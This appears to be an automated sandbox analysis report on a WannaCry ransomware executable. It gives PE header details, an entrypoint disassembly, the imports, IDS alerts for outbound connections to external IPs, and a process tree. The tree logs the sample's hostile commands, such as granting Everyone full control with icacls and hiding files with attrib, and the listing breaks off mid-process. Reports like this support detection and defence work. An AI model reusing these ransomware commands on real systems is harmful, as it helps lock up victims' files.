                                                                                                                                                                              TLSH:73F533F4E221B7ACF2550EF64855C59B6A9724B2EBEF1E26DA8001A70D44F7F8FC0491
                                                                                                                                                                              File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:...T...T...T...X...T..._...T.'.Z...T...^...T...P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L..

                                                                                                                                                                              File Icon

                                                                                                                                                                              Icon Hash:90cececece8e8eb0

                                                                                                                                                                              Static PE Info

                                                                                                                                                                              General

                                                                                                                                                                              Entrypoint:0x4077ba
                                                                                                                                                                              Entrypoint Section:.text
                                                                                                                                                                              Digitally signed:false
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              Subsystem:windows gui
                                                                                                                                                                              Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                                                                                                                                                              DLL Characteristics:
                                                                                                                                                                              Time Stamp:0x4CE78F41 [Sat Nov 20 09:05:05 2010 UTC]
                                                                                                                                                                              TLS Callbacks:
                                                                                                                                                                              CLR (.Net) Version:
                                                                                                                                                                              OS Version Major:4
                                                                                                                                                                              OS Version Minor:0
                                                                                                                                                                              File Version Major:4
                                                                                                                                                                              File Version Minor:0
                                                                                                                                                                              Subsystem Version Major:4
                                                                                                                                                                              Subsystem Version Minor:0
                                                                                                                                                                              Import Hash:68f013d7437aa653a8a98a05807afeb1

                                                                                                                                                                              Entrypoint Preview

                                                                                                                                                                              Instruction
                                                                                                                                                                              push ebp
                                                                                                                                                                              mov ebp, esp
                                                                                                                                                                              push FFFFFFFFh
                                                                                                                                                                              push 0040D488h
                                                                                                                                                                              push 004076F4h
                                                                                                                                                                              mov eax, dword ptr fs:[00000000h]
                                                                                                                                                                              push eax
                                                                                                                                                                              mov dword ptr fs:[00000000h], esp
                                                                                                                                                                              sub esp, 68h
                                                                                                                                                                              push ebx
                                                                                                                                                                              push esi
                                                                                                                                                                              push edi
                                                                                                                                                                              mov dword ptr [ebp-18h], esp
                                                                                                                                                                              xor ebx, ebx
                                                                                                                                                                              mov dword ptr [ebp-04h], ebx
                                                                                                                                                                              push 00000002h
                                                                                                                                                                              call dword ptr [004081C4h]
                                                                                                                                                                              pop ecx
                                                                                                                                                                              or dword ptr [0040F94Ch], FFFFFFFFh
                                                                                                                                                                              or dword ptr [0040F950h], FFFFFFFFh
                                                                                                                                                                              call dword ptr [004081C0h]
                                                                                                                                                                              mov ecx, dword ptr [0040F948h]
                                                                                                                                                                              mov dword ptr [eax], ecx
                                                                                                                                                                              call dword ptr [004081BCh]
                                                                                                                                                                              mov ecx, dword ptr [0040F944h]
                                                                                                                                                                              mov dword ptr [eax], ecx
                                                                                                                                                                              mov eax, dword ptr [004081B8h]
                                                                                                                                                                              mov eax, dword ptr [eax]
                                                                                                                                                                              mov dword ptr [0040F954h], eax
                                                                                                                                                                              call 00007FAAE0E2057Bh
                                                                                                                                                                              cmp dword ptr [0040F870h], ebx
                                                                                                                                                                              jne 00007FAAE0E2046Eh
                                                                                                                                                                              push 0040793Ch
                                                                                                                                                                              call dword ptr [004081B4h]
                                                                                                                                                                              pop ecx
                                                                                                                                                                              call 00007FAAE0E2054Dh
                                                                                                                                                                              push 0040E00Ch
                                                                                                                                                                              push 0040E008h
                                                                                                                                                                              call 00007FAAE0E20538h
                                                                                                                                                                              mov eax, dword ptr [0040F940h]
                                                                                                                                                                              mov dword ptr [ebp-6Ch], eax
                                                                                                                                                                              lea eax, dword ptr [ebp-6Ch]
                                                                                                                                                                              push eax
                                                                                                                                                                              push dword ptr [0040F93Ch]
                                                                                                                                                                              lea eax, dword ptr [ebp-64h]
                                                                                                                                                                              push eax
                                                                                                                                                                              lea eax, dword ptr [ebp-70h]
                                                                                                                                                                              push eax
                                                                                                                                                                              lea eax, dword ptr [ebp-60h]
                                                                                                                                                                              push eax
                                                                                                                                                                              call dword ptr [004081ACh]
                                                                                                                                                                              push 0040E004h
                                                                                                                                                                              push 0040E000h
                                                                                                                                                                              call 00007FAAE0E20505h

                                                                                                                                                                              Rich Headers

                                                                                                                                                                              Programming Language:
                                                                                                                                                                              • [C++] VS98 (6.0) SP6 build 8804
                                                                                                                                                                              • [EXP] VC++ 6.0 SP5 build 8804

                                                                                                                                                                              Data Directories

                                                                                                                                                                              NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IMPORT0xd5a80x64.rdata
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESOURCE0x100000x349fa0.rsrc
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_IAT0x80000x1d8.rdata
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                                              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                                              Sections

                                                                                                                                                                              NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                                              .text0x10000x69b00x7000920e964050a1a5dd60dd00083fd541a2False0.5747419084821429data6.404235106100747IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                                              .rdata0x80000x5f700x60002c42611802d585e6eed68595876d1a15False0.5781656901041666data6.66357096840794IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                                              .data0xe0000x19580x200083506e37bd8b50cacabd480f8eb3849bFalse0.394287109375Matlab v4 mat-file (little endian) ry, numeric, rows 0, columns 04.4557495078691405IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                                              .rsrc0x100000x349fa00x34a000f99ce7dc94308f0a149a19e022e4c316unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                                                                                                                                                              Resources

                                                                                                                                                                              NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                                              XIA0x100f00x349635Zip archive data, at least v2.0 to extract, compression method=deflateEnglishUnited States1.0002689361572266
                                                                                                                                                                              RT_VERSION0x3597280x388dataEnglishUnited States0.46349557522123896
                                                                                                                                                                              RT_MANIFEST0x359ab00x4efexported SGML document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42913697545526525

                                                                                                                                                                              Imports

                                                                                                                                                                              DLLImport
                                                                                                                                                                              KERNEL32.dllGetFileAttributesW, GetFileSizeEx, CreateFileA, InitializeCriticalSection, DeleteCriticalSection, ReadFile, GetFileSize, WriteFile, LeaveCriticalSection, EnterCriticalSection, SetFileAttributesW, SetCurrentDirectoryW, CreateDirectoryW, GetTempPathW, GetWindowsDirectoryW, GetFileAttributesA, SizeofResource, LockResource, LoadResource, MultiByteToWideChar, Sleep, OpenMutexA, GetFullPathNameA, CopyFileA, GetModuleFileNameA, VirtualAlloc, VirtualFree, FreeLibrary, HeapAlloc, GetProcessHeap, GetModuleHandleA, SetLastError, VirtualProtect, IsBadReadPtr, HeapFree, SystemTimeToFileTime, LocalFileTimeToFileTime, CreateDirectoryA, GetStartupInfoA, SetFilePointer, SetFileTime, GetComputerNameW, GetCurrentDirectoryA, SetCurrentDirectoryA, GlobalAlloc, LoadLibraryA, GetProcAddress, GlobalFree, CreateProcessA, CloseHandle, WaitForSingleObject, TerminateProcess, GetExitCodeProcess, FindResourceA
                                                                                                                                                                              USER32.dllwsprintfA
                                                                                                                                                                              ADVAPI32.dllCreateServiceA, OpenServiceA, StartServiceA, CloseServiceHandle, CryptReleaseContext, RegCreateKeyW, RegSetValueExA, RegQueryValueExA, RegCloseKey, OpenSCManagerA
                                                                                                                                                                              MSVCRT.dllrealloc, fclose, fwrite, fread, fopen, sprintf, rand, srand, strcpy, memset, strlen, wcscat, wcslen, __CxxFrameHandler, ??3@YAXPAX@Z, memcmp, _except_handler3, _local_unwind2, wcsrchr, swprintf, ??2@YAPAXI@Z, memcpy, strcmp, strrchr, __p___argv, __p___argc, _stricmp, free, malloc, ??0exception@@QAE@ABV0@@Z, ??1exception@@UAE@XZ, ??0exception@@QAE@ABQBD@Z, _CxxThrowException, calloc, strcat, _mbsstr, ??1type_info@@UAE@XZ, _exit, _XcptFilter, exit, _acmdln, __getmainargs, _initterm, __setusermatherr, _adjust_fdiv, __p__commode, __p__fmode, __set_app_type, _controlfp

                                                                                                                                                                              Possible Origin

                                                                                                                                                                              Language of compilation systemCountry where language is spokenMap
                                                                                                                                                                              EnglishUnited States

                                                                                                                                                                              Network Behavior

                                                                                                                                                                              Suricata IDS Alerts

                                                                                                                                                                              TimestampProtocolSIDSignatureSeveritySource PortDest PortSource IPDest IP
                                                                                                                                                                              2024-08-21T15:19:28.901966+0200TCP2028377ET JA3 Hash - Possible Malware - Malspam3593109001192.168.2.16163.172.13.165
                                                                                                                                                                              2024-08-21T15:19:28.901966+0200TCP2028377ET JA3 Hash - Possible Malware - Malspam35931231337192.168.2.1681.7.10.93
                                                                                                                                                                              2024-08-21T15:19:28.901966+0200TCP2028377ET JA3 Hash - Possible Malware - Malspam359313443192.168.2.16185.100.84.212
                                                                                                                                                                              2024-08-21T15:21:58.943943+0200TCP2028377ET JA3 Hash - Possible Malware - Malspam3593119101192.168.2.16128.31.0.39

                                                                                                                                                                              Network Port Distribution

                                                                                                                                                                              TCP Packets

                                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                              Aug 21, 2024 15:20:05.697747946 CEST5930153192.168.2.16162.159.36.2
                                                                                                                                                                              Aug 21, 2024 15:20:05.713303089 CEST5359301162.159.36.2192.168.2.16
                                                                                                                                                                              Aug 21, 2024 15:20:05.713406086 CEST5930153192.168.2.16162.159.36.2
                                                                                                                                                                              Aug 21, 2024 15:20:05.713432074 CEST5930153192.168.2.16162.159.36.2
                                                                                                                                                                              Aug 21, 2024 15:20:05.946752071 CEST5930153192.168.2.16162.159.36.2
                                                                                                                                                                              Aug 21, 2024 15:20:05.951555967 CEST5359301162.159.36.2192.168.2.16
                                                                                                                                                                              Aug 21, 2024 15:20:05.952183008 CEST5359301162.159.36.2192.168.2.16

                                                                                                                                                                              UDP Packets

                                                                                                                                                                              TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                              Aug 21, 2024 15:20:05.697017908 CEST5359831162.159.36.2192.168.2.16

                                                                                                                                                                              Statistics

                                                                                                                                                                              CPU Usage

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              Memory Usage

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              High Level Behavior Distribution

                                                                                                                                                                              Click to dive into process behavior distribution

                                                                                                                                                                              Behavior

                                                                                                                                                                              Click to jump to process

                                                                                                                                                                              System Behavior

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:0
                                                                                                                                                                              Start time:09:19:27
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:"C:\Users\user\Desktop\f_000112.exe"
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:3'514'368 bytes
                                                                                                                                                                              MD5 hash:84C82835A5D21BBCF75A61706D8AB549
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Yara matches:
                                                                                                                                                                              • Rule: wanna_cry_ransomware_generic, Description: detects wannacry ransomware on disk and in virtual page, Source: 00000000.00000000.1182915261.000000000040E000.00000008.00000001.01000000.00000003.sdmp, Author: us-cert code analysis team
                                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:false

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:2
                                                                                                                                                                              Start time:09:19:27
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\attrib.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:attrib +h .
                                                                                                                                                                              Imagebase:0xdc0000
                                                                                                                                                                              File size:19'456 bytes
                                                                                                                                                                              MD5 hash:0E938DD280E83B1596EC6AA48729C2B0
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:3
                                                                                                                                                                              Start time:09:19:27
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:icacls . /grant Everyone:F /T /C /Q
                                                                                                                                                                              Imagebase:0x6c0000
                                                                                                                                                                              File size:29'696 bytes
                                                                                                                                                                              MD5 hash:2E49585E4E08565F52090B144062F97E
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:4
                                                                                                                                                                              Start time:09:19:27
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:5
                                                                                                                                                                              Start time:09:19:27
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:6
                                                                                                                                                                              Start time:09:19:28
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Antivirus matches:
                                                                                                                                                                              • Detection: 96%, ReversingLabs
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:7
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:8
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:C:\Windows\system32\cmd.exe /c 234691724246428.bat
                                                                                                                                                                              Imagebase:0xf20000
                                                                                                                                                                              File size:236'544 bytes
                                                                                                                                                                              MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:9
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                              Wow64 process (32bit):false
                                                                                                                                                                              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                              Imagebase:0x7ff6684c0000
                                                                                                                                                                              File size:862'208 bytes
                                                                                                                                                                              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:high
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:10
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:12
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Windows\SysWOW64\cscript.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:cscript.exe //nologo m.vbs
                                                                                                                                                                              Imagebase:0x780000
                                                                                                                                                                              File size:144'896 bytes
                                                                                                                                                                              MD5 hash:CB601B41D4C8074BE8A84AED564A94DC
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:13
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Reputation:moderate
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:14
                                                                                                                                                                              Start time:09:19:29
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:15
                                                                                                                                                                              Start time:09:19:30
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:16
                                                                                                                                                                              Start time:09:19:30
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:17
                                                                                                                                                                              Start time:09:19:30
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:18
                                                                                                                                                                              Start time:09:19:30
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:19
                                                                                                                                                                              Start time:09:19:30
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:20
                                                                                                                                                                              Start time:09:19:31
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:21
                                                                                                                                                                              Start time:09:19:31
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:22
                                                                                                                                                                              Start time:09:19:31
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:23
                                                                                                                                                                              Start time:09:19:31
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:24
                                                                                                                                                                              Start time:09:19:31
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:25
                                                                                                                                                                              Start time:09:19:32
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:26
                                                                                                                                                                              Start time:09:19:32
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
                                                                                                                                                                              File size:20'480 bytes
                                                                                                                                                                              MD5 hash:4FEF5E34143E646DBF9907C4374276F5
                                                                                                                                                                              Has elevated privileges:true
                                                                                                                                                                              Has administrator privileges:true
                                                                                                                                                                              Programmed in:C, C++ or other language
                                                                                                                                                                              Has exited:true

                                                                                                                                                                              General

                                                                                                                                                                              Target ID:27
                                                                                                                                                                              Start time:09:19:32
                                                                                                                                                                              Start date:21/08/2024
                                                                                                                                                                              Path:C:\Users\user\Desktop\taskdl.exe
                                                                                                                                                                              Wow64 process (32bit):true
                                                                                                                                                                              Commandline:taskdl.exe
                                                                                                                                                                              Imagebase:0x400000
